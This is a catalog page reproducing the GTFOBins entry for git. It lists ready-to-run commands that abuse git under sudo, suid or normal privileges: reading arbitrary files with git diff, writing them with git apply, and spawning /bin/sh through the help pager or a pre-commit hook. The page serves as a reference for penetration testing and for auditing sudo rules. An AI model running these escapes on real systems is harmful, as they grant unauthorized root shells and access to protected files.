DΛΣMӨП

Catalog GTFOBins

GTFO · Tool

git

17 techniques Linux · macOSGTFOBins GPL-3.0

file-read

File ReadPrivilege Escalation LinuxmacOS

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005

file-read

File ReadPrivilege Escalation LinuxmacOS

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file
Context
suid
Native
file-read
MITRE
T1005

file-read

File Read LinuxmacOS

The read file content is displayed in `diff` style output format.

git diff /dev/null /path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation LinuxmacOS

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch
Context
sudo
Native
file-write
MITRE
T1565

file-write

File WritePrivilege Escalation LinuxmacOS

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch
Context
suid
Native
file-write
MITRE
T1565

file-write

File Write LinuxmacOS

The patch can be created locally by creating the file that will be written on the target using its absolute path: ``` echo DATA >/path/to/input-file git diff /dev/null /path/to/input-file >x.patch ```

git apply --unsafe-paths --directory / x.patch
Context
unprivileged
Native
file-write
MITRE
T1565

inherit ← less

ExecutionFile ReadFile WritePrivilege Escalation LinuxmacOS

The help system can also be reached from any `git` command, e.g., `git branch`.

git branch --help config
!/bin/sh
Context
sudo
Native
inherit, from:less

inherit ← less

ExecutionFile ReadFile Write LinuxmacOS

The help system can also be reached from any `git` command, e.g., `git branch`.

git branch --help config
!/bin/sh
Context
unprivileged
Native
inherit, from:less

shell

ExecutionPrivilege Escalation LinuxmacOS

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x
Context
sudo
Native
shell
MITRE
T1059

shell

Execution LinuxmacOS

Git hooks are merely shell scripts and in the following example the hook associated to the `pre-commit` action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.

git init .
echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
chmod +x .git/hooks/pre-commit
git -C . commit --allow-empty -m x
Context
unprivileged
Native
shell
MITRE
T1059